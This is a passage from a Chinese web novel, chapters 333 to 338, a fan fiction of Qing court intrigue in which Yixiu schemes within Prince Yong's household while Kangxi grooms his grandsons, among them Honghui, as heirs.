胤礽出宫后康熙也清醒了一阵,想了想自己手里的儿子,老大圈禁在府,老二心脉有损,老三缺乏政治野心和手段,修书可以,治国不足。 老四伤了那处子嗣有碍不具备上位的条件,老五是太后抚养天然失去了竞争力。 老七天残,老八伪善不具备帝王所需的刚断,老九老十顽劣,十二是苏麻喇姑抚养,十三伤了腿,十四虽然英勇但莽撞不成大事。 其余的儿子更不必多说,较他们的哥哥远矣。 算计来算计去,康熙只觉得自己一把年纪,竟然只能重新培养继承人,心里头沉甸甸。 第333 章 宜修18 尚书房的夫子基本每七日来乾清宫汇报一下小皇子们的课程,康熙重点了解了夫子们所说的功课优异的孩子。 弘晖虽然刚刚启蒙并没有进尚书房学习,但胤禩给他请的夫子是李光地,康熙也还算了解。 听闻弘晖记忆力和理解力都俱佳,康熙便起了心思。 雍亲王府。 “明儿个皇玛法叫你进宫,大约是想考较一下晖儿的学识。” 已经是睡觉时辰,宜修揽着弘晖小声的看着书说着话。 弘晖点了点头,李夫子总说他聪慧更甚阿玛,所以皇玛法有这个想法弘晖也不觉得奇怪。 “晖儿,若是想轻松些,便不必太过出挑。” 宜修也没想到胤礽父子俩这么狠,说干就干一点都不拖沓。 不过还好弘晖即使年纪不大,但在如此环境的熏陶下,该懂的差不多都懂了。 弘晖理解自家额娘的意思,但是他不想让自己显得很平庸。因为这样会叫他阿玛开心。 小小的弘晖可能对于争夺那个位子不是太理解,但是针对不顾他生死的阿玛,他熟练的很。 “儿子心里有数。” 这话说的像个小大人似的,宜修反而没什么数了。 不过,她笑了笑也没有太过担忧,只要弘晖开心就好。 弘晖进宫后,胤禟又晃悠到雍亲王府探病。 以往绾卿都会回避,但今日她和胤禛在屋子里不知道干了些什么,出来的慢了些,正好碰到刚要进门的胤禟。 “九弟,先进去吧。” 宜修的笑脸维持的有些摇摇欲坠,胤禟看了一眼,自认为体贴的没在这个时候出声。 “你怎么又来了?” 胤禛不痛快的看着胤禟,只觉得碰到了他就没好事。 胤禟脸上那吊儿郎当的笑容又挂了上去:“四哥这话说的,好歹是弟弟在郊外看到了你,不然四哥都不知道怎么回来的。” 胤禛一直怀疑另一波黑衣人是胤禟搞的鬼,闻言更是确定。 不过他还没想明白,自己这计划应当是很隐蔽的,怎么就被发现了呢? 虽然怀疑过宜修,但胤禛固执的认为宜修只是庶女,没有那个力量插手到前院的事,所以只是稍微查了查,便放弃了这个想法。 “那倒是很巧,本王记得你当日应当在雍亲王府盘账才是,怎么到了那里?” 经过这段时间的恢复,胤禛倒是能坐起来也能走两步了,只是还是以躺着为主,静养嘛。 他不笑时确实有些压迫感,胤禟习惯了,也不觉得什么。 “还能为何,就那点账一柱香就盘完了,臣弟又没什么需要处理的公务,四处转转而已。” 董鄂氏在这个月迅速定亲在府中待嫁,年世兰那里也只是说是马扬偶遇的小姐同伴而行,所以胤禛并没有查出来什么不对劲。 只是他仍旧认为是胤禟的错。 “本王无事,九弟便先回去吧。” 热闹看够了,胤禟自然也不愿意多留。 “四嫂,上次带的芝麻片还有吗?我福晋还想要一些。” 宜修点了点头,顺着胤禟的意思一起离开。 两人回身,看着绾卿推门而入,默默的转头往外走。 “这位是?” 瞧着和那位先福晋似的,胤禟有些好奇。 宜修扯了扯嘴角:“前院的婢女罢了。” 胤禟若有所思的点了点头:“瞧着倒是有些眼熟。” 眼熟就对了,这两日柔则闹着过来,看到和胤禛眉目传情的绾卿一时间想起了芳禾的话,冲动下把柳月要到了二阿哥身边伺候着。 绾卿不愿,但她说了不算。 胤禛愿意哄着柔则,不过是一个婢女,自然无有不应。这今后啊,可有的热闹了。 “大约是你四哥喜欢这个样子的吧。” 宜修说着也笑了:“府里头也热闹些。” 胤禟拿了芝麻片后眼珠子一转不知道想到了什么,噙着笑就离开了。 “跟王氏说一声,若有人问起和那画像中人相似的秀女,把李文宁说出去就好。” 胤禟这个傻子派了人去外头寻了几日,才想起来秀女们都在妞妞房住着了。 叫人去问了问,果然找出来了一个。 “四哥既然喜欢热闹,弟弟怎么能不成全呢?” 胤禟和胤?凑在一起笑的有些猥琐,两个人在做坏事的时候,格外的有耐心。 “可是四嫂那里......” 胤?虽然是最混的,但是因着和弘晖投缘,倒也有那么一点点点点的良心。 “四哥都那样了,四嫂守着弘晖还有咱们呢,管他做什么。” 许是八阿哥能上位的可能性太大了,他们都觉得前途明朗了,所以胤禟下意识的把宜修和弘晖划到了自己人需要保护的范围内。 “那倒也是。” 胤?认为九哥说的对。 胤禟跑到了翊坤宫请安,跟宜妃说了这事。 “偏你是个能找事的。” 宜妃倒也不是觉得难办,只是最近总是心里头突突,好像有什么事要发生一样。 “嘿嘿,儿子也是觉得弘晖可怜罢了。” 弘晖真的是个很好的借口,不管给胤禛找多少事,只要提起来弘晖小可怜,大家都觉得情有可原。 这事宜妃记下了,胤禟便放心了。 经过重重规矩,在最后殿选之前,胤禛倒是坚强的爬了起来,能上朝办公了。 太医也不把话说死,总不能把自己的命搭那儿。 只说艰难,至于多艰难,那就是雍亲王自己的事了。 李静言的三阿哥平安生下后,胤禛觉得自己又行了,上蹿下跳的,坚持着给三阿哥举办了盛大的满月宴。 康熙也给面子的出席了,没办法,这可能是他这个老四最后一个孩子了。 胤禛还以为是废太子后得了皇上的看重,胤禩想必也有这个想法,表情带了思索。 朝臣被皇上颠来倒去的动作弄的晕头转向,一时间雍亲王身边又再次热闹起来。 选秀结束后,雍亲王府果然再次迎来喜事。 侧福晋年世兰,格格钮祜禄灼华,费云烟,冯若昭,曹琴默,吕盈风,耿如烟和李文宁,一共八位新人。 除了钮祜禄灼华和李文宁,都是宜修熟悉的人。 不过因着胤禛的身子,所有流程都比较简单。 格格们先一步入府,宜修两人为一组分了一处院子。 反正今后应该也没有孩子了,还不如把院子都分出去。 “王爷可要请旨给李格格晋为侧福晋?毕竟是三阿哥的生母。” 宜修意有所指的看了一眼胤禛受伤的那处,意思不要太明显。 胤禛‘哼’了一声,没有说话。他确实写了折子,只不过他不想告诉福晋。 宜修也不生气,弘晖被康熙接进宫里住着,还有三阿哥家的弘晟和八阿哥家的弘旺。 加上了三阿哥家的弘晟,胤禛和胤禩倒没往别的地方想,还是一门心思的做着自己荣登大鼎的美梦。他们也确实没有想过,自家老子会越过自己这样优秀的儿子选择孙子。 只能说,自信是老爱家遗传的非常完美的品质。 第334 章 宜修19 头前的七个格格早在选秀结束就被一顶小轿子抬进了门。 只不过当时的胤禛还在养病,尤其是前院还有个体贴懂事温顺的绾卿在,所以根本没有踏进过后院一步。 几个格格刚开始还有些对得宠的盼望,但日复一日,她们也和府里头的老人有了些了解,对胤禛这个男主人也不怎么期待了。 “你们说王爷今儿能完成新婚夜吗?” 吕格格和冯格格,曹格格,耿格格一起凑了一桌叶子牌搭子,得了福晋的允许,每日下午在听风院小聚一下,日子不要太自在。 她又是个嘴上没有把门的,什么话都能随口秃噜出来。 冯格格仔细的看了看外头,笑着打出一张牌:“你呀,小些声音吧。” 耿格格手边放着一壶桃花酿,往嘴里倒了一口美滋滋的调整着自己的牌:“那有什么,福晋才不会罚咱们。不过就算是那方面受了伤,这半年应当也养好了吧?” 话说的豪放,但其实四个人的声音还是很小的,只有一旁的婢女拿着一把月琴随意的拨弄两下琴弦,发出一些声响。 “这可没准儿,不过,过了今晚咱们也就知道了。” 曹格格一腔的野心没处使,反而被福晋带着培养了不少兴趣爱好。其中叶子牌和下棋,是她最擅长的。 “好啊你们,又不带我。” 推门而入的费格格拎着一个不算小的食盒,里头的阵阵香气很快吸引了耿格格的注意力。 “你这是又从福晋那儿弄了什么回来?好香啊!” 那鲜香的味道叫耿格格肚子里的酒虫蠢蠢欲动,嘴里的桃花酿瞬间就不香了。 费云烟把食盒放在一旁的桌子上得意的笑了笑:“今儿前头热闹,福晋和八福晋她们聊的高兴,叫忍冬送了些新鲜的吃食来,我在外头晃荡,正好接着。” 她生的美,身段也是这几个格格里最好的,本以为进府后能得宠,没想到王爷连后院都不进。好在福晋仁善,她这日子比在闺中还要好过两分。 费云烟一心向着宜修,甚至还写信给了家里描述雍亲王府的日子有多好过。 她的哥哥在年羹尧的军队,自然也是知道自家孩子和年家的大小姐嫁到了一家。 这信辗转着又到了年世兰手里,本就对宜修有十二分的善意的年世兰,更加对今后的日子有了盼头。 男人不行就不行吧!旗女对自己的婚事哪有决策权,嫁给谁不是嫁呢!有一个好相处的福晋怎么着都不会难过的。 宜修打着为弘晖调养身子的名号弄出来了不少好吃的,还有用胤禟的商队在邵阳处找到了当时仅供观赏的海椒,琢磨了一些简单的食谱。 这些食谱被胤禟相中,两人合伙开了一家酒楼,收益相当可观。 这些钱被宜修存到了弘晖的名下,她本意也是为着弘晖的身子折腾出来的。 康熙自决定了培养孙子后,对选中的弘晟,弘晖和弘旺便格外的上心。 宜修的动作自然瞒不过他的眼睛,康熙很满意弘晖有这样一个明事理拎得清的额娘。 既然是研究美食,自然少不了试错的过程。宜修把大部分味道欠缺的成品都给了府里的妾室试吃。 她只是不想浪费粮食,倒是叫这些人感动上了。 自然,有了完美的成品也少不了宫里的康熙和外头的几个冲锋陷阵的小叔子。 胤禟和胤?本来就胖,再加上宜修的投喂就更加圆润了。 就连一向注重养生的胤礽和胤禩都丰满了起来。 理亲王现在又是康熙的心尖宠了,他也不明着跟宜修说送一份吃的给胤礽。反而是把自己的那份分一半给他。 宜修又不傻,自然理解了康熙的意思。 她本就有交好胤礽的心思,便使了弘晖去跑了两次腿。康熙特别的满意,具体表现为多多的赏赐。 今日的洞房花烛到底还是叫老四享受到了,经过太医国手的调养,他已经可以像正常男人一样使用自己的男性能力了。 虽然快了些,但总比不能用了强。 至于生育方面,太医只说还需要调养,这日复一日的苦药汤子喝下去,叫胤禛面对着如花似玉的年世兰都闻不到一点香味。 不过,活色生香便是有色就够了,他尽量风度翩翩的做出一副成熟男人独特魅力的模样,但年世兰看过他最狼狈的样子,始终兴趣缺缺。 好在她虽然直来直去,但也知道轻重缓急。就是装,也装出了个害羞的表现。 只是体验感十分差劲,她还没开始,上头的男人就结束了。 看着雍亲王那一副不痛快的样子,年世兰用尽了毕生的忍耐力和演技,演出了一副‘我很累’的模样。 胤禛点头,胤禛满意。 第二日请安,年世兰快快乐乐的踩着轻松愉悦的步伐往外走,看的胤禛的脸再次冒出了黑气。 “妾身给福晋敬茶。” 对于宜修,年世兰有太多的话想说了。光是她救了自己免除了那恶心的算计,就叫年世兰在心里以身相许了。 宜修看着双眼亮晶晶的年世兰总觉得有哪里不对,她笑着接了茶,赏了一副漂亮的红宝石头面给她。 “瞧你年岁小,又生的明艳,这副头面最衬你了。” 年世兰抿着唇笑了起来:“多谢福晋,妾身很喜欢。” 又一一见了苗侧福晋和李侧福晋,都是瞧着好相处的,年世兰心里头虽有傲气,但也知道这个府上王爷已经是靠不住的,跟其余人能玩闹上两句也不错。 只是对上齐格格,她总觉得后背凉飕飕的。 不知道怎么回事,齐格格看她的眼神格外的深邃,人也有些过于热情了。 宜修笑着摸了摸手指上的护甲,看来胤禛昨晚儿的留宿又叫这位看到希望了。 也是,砍掉了齐月宾的人手,她现在就是个睁眼瞎。没办法知道胤禛如今的具体情况,还以为得一个有宠的侧福晋能捞到什么好处呢。 请安不过是坐在一起说会儿闲话,年世兰还是第一次听这么多八卦,一时间耳朵都支棱起来了。 “真的假的?那员外郎的夫人也愿意吗?” 吕格格不过是提了一嘴她在闺中听到的消息,没想到年侧福晋如此好奇。 有人捧扬,吕格格说的更有架势了。 “那有何不愿意的,据说这员外郎有些隐疾,又不想叫外人猜忌,可不就需要他弟弟来帮忙传宗接代了。” 年世兰那样子和村口吃瓜的大娘们最大的区别就是她长的太好看了。 宜修笑着挥了挥手把人都打发了出去:“好了,府里头规矩多又不多,只要不找事的,平日里找些乐子都小点动静,年侧福晋若是喜欢和吕格格说话,便找了人去你院子里聊。” 新婚的第一日,年世兰打开了新世界的大门,原来嫁了人这么好玩儿!昨晚儿的不痛快她可以原谅了! 第335 章 宜修20 没想到却得到了背地里的狠狠吐槽。 “王爷怎么还在我这里睡?他自己没有院子吗?” 年世兰实在不想每晚都被蚊子叮一下,还要装作疲累的样子,那真不是她的强项。 “那还能为什么?还不是为了你的哥哥。” 苗侧福晋在一旁坐着,眼睛盯着地上的女儿,嘴上却扎着年世兰的心。 齐格格努力套了几次近乎都没得逞,反而是她和年世兰都是武将家的女儿,性格也差不多,便格外聊的来。 “那不还有个钮钴禄氏的格格?满军旗呢,王爷更应当去看看才是。” 年世兰蹲在地上戳着大格格软乎乎的小脸蛋,实在不想伺候了。 这个时候,府里的老人也终于知道王爷受了什么伤养了半年之久,原来是不行了呀。 苗侧福晋有些庆幸自己已经得了个乖巧的女儿,尤其是在王爷成了这个样子之后,这怕不是王爷唯一的女儿了。说是金尊玉贵也不为过呀! “应当今晚王爷就得去钮钴禄格格院子了吧?” 钮钴禄格格傲气的很,进府这么久了,除了在福晋的院子坐坐,从来不跟她们这些汉军旗的一起玩儿。 甘格格申请搬到了苗侧福晋的院子,两个人一个娃,兜里有钱家里有势,有没有王爷完全不重要。 几个人凑在一起,费格格猜王爷今儿还在年侧福晋的院子,冯格格和耿格格附议。 就这么无聊的一件事,也叫她们打起了赌,一个个摩拳擦掌的盯着王爷的动向。 “叫我说,咱们问问福晋不就好了?” 曹格格默默的补充,下棋不快乐吗?叶子牌不有趣吗?盯着王爷干什么。 年世兰等人表示赞同,浩浩荡荡的往正院走。 “怎么都来了?可是有事?” 昨儿跟九福晋在九阿哥的马扬里跑了几圈,今天就不太想动了。果然当过了比格的女人,心里住着一片蓝天。然而心有余而力不足,宜修高估了自己的精力。 她在软榻上歪了快一天了,不是看话本子就是听曲儿。要不是年世兰她们过来,宜修还不准备起身。 “福晋,王爷日日来,妾身都没功夫捣弄美容膏了。” 年世兰坐下就开始告状,那美容膏需得全身涂抹,按摩吸收。一套流程下来就是一个时辰。 每次弄完直接睡觉连被窝里都是香香的,胤禛总去,她都没时间弄这些了。 宜修看了眼求知若渴的众人,一时间有些哭笑不得:“今儿有的你捣弄的时候,乌侍妾已经送了汤到前院,怕是最近你们都见不到王爷了。” 她眼神扫过李文宁,那个安静的女子早就被众人发现了不同。她自己也知道了这张脸的奇特,巴不得王爷不来后院呢。 一听到乌侍妾的名号,李文宁下意识的撇了撇嘴,本以为可能没了希望,没想到竟因为这张脸被选中,她也不是很乐意呢。 “福晋,妾身听闻王爷前院养了个婢女?还有个女儿?” 李静言好奇的开口,前段时间乌侍妾从前院领了个小姑娘伺候二阿哥的事她们都知道了。 至于怎么知道的,自然是乌侍妾领着那个婢女转了一大圈。 “瞧见那个奴婢了?” 宜修也很佩服柔则的脑回路,找一个跟自己眉眼相似的奴婢去伺候自己儿子,莫不是把自己也当做奴才了? “瞧见了瞧见了,不知道的还以为是乌侍妾的女儿呢。” 宜修呷了口茶,面上的笑容有些意味深长。 “乌侍妾领回去的这个,和前院伺候王爷的她的娘亲,十分相似。” 众人的cpu在疯狂转动,不自觉的把眼神放在了李文宁的身上。 李文宁欲哭无泪,这都是什么事啊!这位王爷是有什么奇怪的癖好吗?只喜欢长的一样的人? “福晋,我,我害怕,我能不能不侍寝啊?” 小姑娘才十五岁,本想着家世一般又是汉军旗,被撂了牌子就可以找个知根知底的嫁进去,不需要多么富贵显赫,只要平安顺遂就好。 并非是李文宁容貌不显,李文宁的眼睛和她爹一样,是很有攻击力的四白眼,对于挑选温顺妾室的皇家来说并不怎么合格,所以即使族中送了很多银钱过来,父女俩也没抱太大的希望。 一朝入选李文宁也没觉得有什么不好,天底下的男子都是一个样子,嫁谁都是嫁。 能嫁进皇家,家里也有裨益,也算是她享受了家里这么多年的照顾一点回馈。 只是没想到啊,怎么会有人喜欢同一张脸啊!那半夜起身分的清枕边的是谁吗? “无妨,王爷到底喜欢谁,喜欢的是什么都不要紧。你拿了赏赐,安安心心的过日子,比什么都好。况且王爷虽然......爱好特别了一点,但总归是个正人君子,你好好儿的,吃不了什么苦头。” 宜修安慰的也没错,胤禛没有打人的爱好,如今就剩了那一两分的功能,别说苦头了,甜头也没有啊! 当寡妇过吧,有钱又清闲,已经很好了。人嘛,总不能既要又要的。 李文宁奇异的被劝慰住了,福晋说的对,只要不吃苦,在皇家就是好事了。 胤禛今日果然被柔则勾了去,见多了绾卿的柔顺,对柔则的几分小性也觉得新鲜。 年世兰松了口气,总算是松快了。装羞涩装的她脸都累。 不过即使柔则再美,在如今太子变理亲王后的关键时期,胤禛也不会因为一个没用的乌拉那拉氏放弃后院的那些身后各有势力的女人。 钮钴禄格格是继年世兰后第二个得宠的,虽然不至于一连七日,但也有五日的时间。 只是胤禛确实力不从心了,他叫太医进补了一番,顺序的宠幸了后院的所有格格。 “李氏?” 本没有多少兴趣的胤禛突然有些呆愣,他只觉得这世界上的奇异都到了他的雍亲王府,怎么会有如此多和柔则相似的女子呢? 这样的奇观聚集在他身边,难不成,他真的是真命天子?! 胤禛的惊喜无人得知,只是李文宁一夜后得出结论,福晋果然没有骗她,这一点苦也没有! 第336 章 宜修21 没有人是不可替代的,年羹尧也是。 虽然他一直坚定的都是胤禩的人,但年家隶属汉军镶白旗,旗主为胤禛,在康熙眼里,年羹尧就是胤禛的奴才。 作为奴才,是没有选择主子的权利的。 年羹尧的做派,叫康熙十分厌恶。 然而让他最恶心的,还是自己的儿子。 放弃自己亲子时倒是狠辣绝情,对待一个奴才又格外包容忍让,实在丢了他这个老子的脸。 “弘晖,作为主子,若是你管辖的奴才生了异心,应当如何?” 康熙选中了三位孙子,其中弘旺机灵但不好学,弘晟好学但不机灵。唯有弘晖天赋极高性子也沉稳。 现在是练字的时间,康熙经常在三个孩子练字或背书时偶尔提几个问题,既能观察反应力,也能锻炼心性。 弘晖已经习惯了皇玛法像个监工一样总在身边绕来绕去的日子,就像额娘说的那样,爱看就看去吧,又少不了块肉。 “有异心的奴才?杀了就是了。” 弘晖云淡风轻的说着视人命如草芥的话,面上的小眉头微微皱了皱,随即把新出炉的大字扔了下去。 康熙点了点头,这番心性倒是爱新觉罗氏的性子。也幸好没有在老四身边养着,不然又废了。 “若是这个奴才很能干呢?” 康熙继续加码,虽然年羹尧才干不低,但确实也没到了非他不可的地步。 弘晖控制着手腕,纸上的大字虽然还算不得笔走游龙,但也颇具风骨。 “皇玛法,今年吏部送来的统计数量您给孙儿看过,咱们大清目前有文武百官总计约一万五千六百余人,其中直隶各省文官六千零四名,武职两千六百余。 孙儿相信,除了皇玛法,没有人是不可以取代的。” 康熙满意的拍了拍弘晖的肩膀,想了想自家老四的德行,头一次把孙儿的优秀归功在其额娘的身上。 “说的好,我爱新觉罗氏的子孙就应该有这种心性才对。奴才千千万万,有异心的,铲除就是。” 话是这么说,但康熙并没有插手年羹尧的事。一是年羹尧确实有才干,用着也挺顺手。二呢,也是一个罪名,不管是对于老四还是老八,清算起来,年羹尧都能居头功。 雍亲王府今日来了两个罕见的客人,三阿哥胤祉和其福晋。 相较于胤禩的活跃,胤禛的深沉,三阿哥胤祉的性格相对平和。不似其他皇子那般积极参与储位之争,更加沉迷于自己擅长的领域。 胤祉对于文化和学术有浓厚的兴趣,与大部分朝中大臣相交较浅,但与文人学者往来颇为密切。 虽然因为废太子一事短暂的被康熙圈禁过一阵,不过因为他幼年时是除了胤礽外唯一在宫里长大的皇子,又是荣妃唯一健康的孩子,所以和康熙的关系也较为融洽。 不过自太子变理亲王出宫开府后,胤祉更加愿意和理亲王一起玩儿,并不跟胤禛他们掺和在一起。 今日的到来,叫胤禛和宜修都颇为惊奇。 “三哥可是有事?” 胤祉今天来还真没有什么正经事,他只是听从胤礽的话来找四弟妹套套近乎。 “只是听二哥说弟妹这里的吃食不错,哥哥我来蹭个饭。” 胤禛愣了一下,他怎么不知道自家福晋那里有好吃的呢? 三福晋看了一眼四弟的脸色轻笑了一声:“四弟莫要听你三哥混说,弘晟在宫里头,咱们一会儿要进宫,想着问一问你们要不要一起去看看孩子。” 听到这里,宜修看了一眼身边的剪秋,眼神飘向后头的偏房处。剪秋意会,悄悄的退了出去。 “原是这样,正好小厨房做了些点心,三哥和三嫂可要给弘晟也带些?” 宜修接过话茬,把话题引到了孩子们的身上。 胤祉还能说上两句,胤禛就有些尴尬了。长时间不见,他甚至忘了弘晖的存在。 正要出门,高无庸上前在胤禛耳边说了些什么。 胤禛停下来抱了抱拳:“对不住了三哥,弟弟这里还有事,下次再去吧。” 三福晋拍了拍宜修的手,安慰的意味很明显。 胤祉虽然政治觉悟很低,但耳力不错,什么偏房什么发热,难不成是哪个妾室病了? 他胤祉也算得上是怜香惜玉了,但再漂亮的妾室也没有自己儿子重要啊! 又想起了弘晖生病那事,还是二哥告诉他的,这个好四弟为了个女人竟然不顾儿子的死活。啧,胤祉心里头嫌弃的骂了一句,随即想着今日要去他老子面前闹上一闹。 就老四这模样,若真是得了那位置,还有他们兄弟的活路吗?别说他没什么造反的心,但他相信,小心眼的老四可以随便安一个造反的名头给他! 不得不说胤祉很了解自己的弟弟了,若是胤禛登上了那个位置,胤祉还真的被革爵,圈禁了。 罪名也很有意思,怡亲王胤祥的去世,因为迟到和无戚容被雍正训斥为心怀怨望,不知感恩,圈禁在了景山永安亭,不过两年就去世了。 宜修和三福晋去看孩子时,胤祉缠磨上了自家老子。 “皇阿玛,老四也太过分了。明明说好来看弘晸和弘晖,没想到就因为一点小事就不看自己儿子。如此冷漠无情,皇阿玛老四他可靠不住啊!” 康熙冷笑了一声,要不是这儿子也算是在身边长大,他早就给他踹出去了。 挑拨都这么明显,完全没有一点深沉。 他不知道老四靠不住吗?用他这个儿子来说了? 而胤祉见康熙不理他,表情也是那瞧不起人的样子,更加据理力争起来。 “皇阿玛,您看老四,连自己儿子都不在乎,还能在乎您这个老子吗?” 真的是很有理有据的一句话了,就是有点废命。 康熙虽然年纪不小了,但精于骑射没有疏漏锻炼的他,打儿子是个再简单不过的事。 “啊!皇阿玛您轻点啊!” 胤祉挨打很有经验了,他时不时蹦哒一下,保证他老子的棍子准确无误的敲在肉最厚的屁股上,以此来保全自己的两条腿。 “儿子说的又没错,皇阿玛忠言逆耳啊!” 乾清宫的鸡飞狗跳叫外头值守的侍卫有一种记忆深处的熟悉感。 还得是三阿哥啊!别的阿哥都没有这份活力呢! 第337 章 宜修22 “滚回你府上去,弘晟在宫里头好的很,没事你就别进宫来烦朕!” 胤礽被身后的势力推动着站在康熙权利的对立面,胤禔从争父爱到争权利逐渐膨胀了野心。 只有胤祉,政治觉悟不高老老实实的样子是目前康熙眼里唯一一个还能看上眼的老儿子。所以对他格外宽容些。 胤祉的屁股有些痛,但又不想不雅观的伸手揉一揉,只好一瘸一拐的凑近自家老子。 “皇阿玛,您有没有听进去儿子的话?” 胤祉虽然花心,对福晋也一般,但他怕死啊! 尤其是他跟老四也不算特别对付,老四天生小心眼,又记仇,他实在怕这个四弟现在心里都记着些陈芝麻烂谷子的旧仇。 康熙一眼就看穿了胤祉的小心思,他动了动心中的郁结也疏散了,有了心情逗弄儿子。 “朕觉得你说的不对。” 一句话捅破了胤祉的天。 胤祉不可置信的看着自家皇阿玛,那副表情像看负心汉一样。 还好老三家的和老四家的带着孩子过来了,不然康熙觉得自己真的要大义灭亲了。 “皇玛法!额娘带了好吃的点心来,皇玛法一起来吃啊!” 弘晸本来有些怕康熙,那是一个正常孩子对一个国家的最高统治者的敬畏。 但弘晖不怕,弘晖那晚朦胧中都见到牛头大人和马面大人,自诩见过了阴差,阳间已经没有他可惧怕的了。 就单是这一份独一无二的性格,就叫弘晖突出于兄弟之间。 不过现在,弘晸只要跟在弘晖身边,就什么都不怕。 “好,你们也歇一歇,一会儿跟皇玛法去靶场练一练。” 弘晖把食盒里的点心先是给了康熙,然后按照辈分一个个分过去。 他的大眼睛看了一圈,有些落寞的低了低头,凑到了宜修身边。 宜修心里头觉得自家这个猴精猴精的儿子好笑,不过还是配合着用点心轻哄着。 康熙皱了皱眉,对胤禛更加的不喜。 “弘晖,来三伯这里。” 胤祉拍了拍手,把走过来的弘晖抱了起来,问了一句自以为体贴的话语:“是不是想你阿玛了?” 康熙和三福晋像看傻子一样看着胤祉。 宜修忙低下头用帕子掩住了嘴,胤祉可太可爱了! 弘晖瘪了瘪嘴,圆圆的眼睛瞬间泛起了湿意:“三伯,阿玛怎么不来看弘晖啊?” 胤祉哪里有哄孩子的经验,他从来都是逗两下就跑的人。 眼神不由自主的放在了最有经验的皇阿玛身上,得到了一个嫌弃的眼神。 而后放在了自家福晋身上,得到了一个白眼。 胤祉毛病再多,也不会直愣愣的看着自家弟妹,只好用尽全力哄怀里的弘晖:“你阿玛不是不来看你,只是府里的妾室生病了,比你重要些。” 弘晖的定力自然不足,他也没想到三伯这么不会说话,他猛地低下头,小肩膀一抖一抖的,不让别人分清楚自己是笑还是哭。 宜修知道自家儿子要露馅了,连忙从胤祉怀里把弘晖接过去。 “弘晖啊,三伯不会说话,三伯不是这个意思,啊!” 康熙实在忍不住了,一脚踹在了胤祉的屁股上。 弘晖在宜修怀里调整好了表情,顺道在自家额娘胸口上的刺绣上蹭了蹭,成功把自己蹭出了一个小红脸。 “皇玛法,三伯不是故意的,你不要打他了。” 胤祉感动:呜呜呜!大侄儿!今后你当皇帝是最好的!你会心疼三伯! “皇阿玛,儿子觉得弘晖就很......” 胤祉一张嘴康熙就知道他想口吐什么狂言,面无表情的用一块茯苓糕堵住了那张不应该张开的嘴。 “没事就回去吧,朕要带他们去靶场了。” 面无表情的康熙开始赶人,他不想再回忆自家十几个儿子的蠢德行。 “放心吧弟妹,宫里头有额娘照顾着呢,乌雅嫔不敢给弘晖吃了委屈。” 宜修在心里想遍了伤心事,才压下了不自觉想要上扬的嘴角。 “多谢三哥了。” 康熙也不想再说话了,摆了摆手把人都撵了出去。 不过胤祉说的也没错,弘晖在宫里这段时间,都是荣妃在一起照顾。 那位乌雅嫔不说不闻不问,也算的上是十分生疏。送来的点心大多是御膳房的普通款,连掏一份银子买点好的都不愿意。 毕竟这次进宫的孙儿没有老十四家的反而便宜了老四家的,乌雅嫔觉得是弘晖占了自己亲亲孙儿的位子,心里头很是不喜。 “都是小事,额娘很喜欢弘晖,宫里头宜妃娘娘和惠妃娘娘也喜欢弘晖,放心吧,有她们在,没人敢欺负弘晖的。” 胤祉难得说了串人话,惹得三福晋频频看向他。 宜修笑了笑,小孩子天生比大人更具亲和力,尤其是乖巧懂事漂亮自带悲惨往事的小孩子,那更是叠满了BUFF。 刚回到府里,门房立刻回禀道:“福晋,十七阿哥来了。” 宜修点了点头,不动声色的继续往里走。 “剪秋,和芳禾说一声,绾卿现在可是王爷的心头宝了。” 柔则想要争宠简单也不简单,那张脸和那段情分都是她的利器。而那个病秧子似的儿子,大部分时间都在胤禛那里是碍眼的存在。 想来年纪轻轻的十七,更喜欢单纯懂事的柳月吧? 柔则听了芳禾的消息果然气炸了。 她叫人把二阿哥带上,又带上了柳月,一行人往花园的方向走去。 胤禛和胤礼在花园说着话喝着茶,身旁的绾卿嘴角带着温婉的笑意站在胤禛身边,时不时的给两位皇子倒个茶,竟还端出了女主人的架势。 看过原剧的就知道,胤礼是个没什么规矩的人。 他笑呵呵的看了胤禛一眼:“四哥真是好福气,有这样的佳人相伴,想必是小四嫂了吧?” 不怪胤礼认错,毕竟胤禛宠爱女人的时候布料和首饰方面从不吝啬。 绾卿这一身装扮,和府里头的格格们倒也没什么区别。 “你就是个促狭的,前儿个下棋输了,今儿又来讨打了。” 因为弘晖,他在兄弟们间更加没什么地位,难得有个志趣相投还没什么威胁的弟弟,胤禛很高兴。 “四哥有那么多宝贝,就别惦记弟弟这点体己了。” 胤禛笑着点了点胤礼,看向绾卿道:“把爷的龙井换了,不给他喝。” 绾卿笑着行礼退下,端上来了一壶白茶。 胤礼哭笑着摆了摆手:“四哥就别跟弟弟计较了,四哥红袖添香不足,还要惦记弟弟的荷包。” 兄弟俩聊的你来我往好不热闹,这时候传来一道请安声,胤礼顺着声音看过去,竟是比绾卿还要美上两分的女子。 “菀菀怎么来了?” 胤禛看了眼二阿哥被袖子遮住的手在心里点了点头。二阿哥只对外说了脸上有胎记所以很少见人,倒也不算太大的毛病。 “想着今日阳光很好,带二阿哥来转一转。” 柔则光明正大的坐到了胤禛的旁边,她是觉罗氏精心教养长大的,琴棋书画诗经古籍都能聊上几句。 很快就吸引住了胤礼的大部分心神。 这时候只有温婉的绾卿显然不敌柔则的才学出众,而绾卿也没有兴致去争这个。她的眼神都放在了奴仆中那个不显眼的女儿身上。 柳月虽然是孩子,但也是大孩子了。伺候小不点二阿哥不是弓着腰就是跪在地上。为了出气,柔则时不时的就会折磨柳月一顿,再好的颜色也损了光华,看的绾卿心疼不已。 这场戏宜修听的很满意,她拨弄了一下手里的纯金小算盘,兴致颇高的给了报信儿的下人赏赐。 “叫芳禾透露一下齐格格的动态给柔则,她今儿的风头太盛,得给绾卿一些别的机会了。” 再怎么说当时齐月宾也是打着为柔则报仇的旗号参与了弄死宜修的小队,怎么柔则活着,她反而对不是福晋的柔则疏远了呢?这可不好呀! 第338 章 宜修23 齐月宾和婢女吉祥拎着一个双层的食盒正在往正院的东边走,只是其拉平的嘴角昭示着主人并不怎么松弛的心情。 猛然间听到熟悉的声音,齐月宾捏着帕子的手轻轻一抖,嘴角也有一瞬间的下垂。 不过很快,她带上惊喜和熟稔的表情转过身看着眼前人却并未上前:“柔则妹妹今日得空了吗?” 柔则面上的笑意如常,清澈的眼眸中带着和以往相同的温柔与和善,只是齐月宾却觉得后背发冷,心里头慌慌的。 “妹妹一直得空,反而是姐姐,怎么许久没来找妹妹弹琴了?难不成,是因为妹妹如今只是侍妾,不配和齐姐姐做朋友了吗?” 柔则习舞,脚步一向是轻盈又有韵味的。但此时此刻,对面的齐月宾却觉得那几步像是踩在了她的心口上,压的她现在手脚发麻。 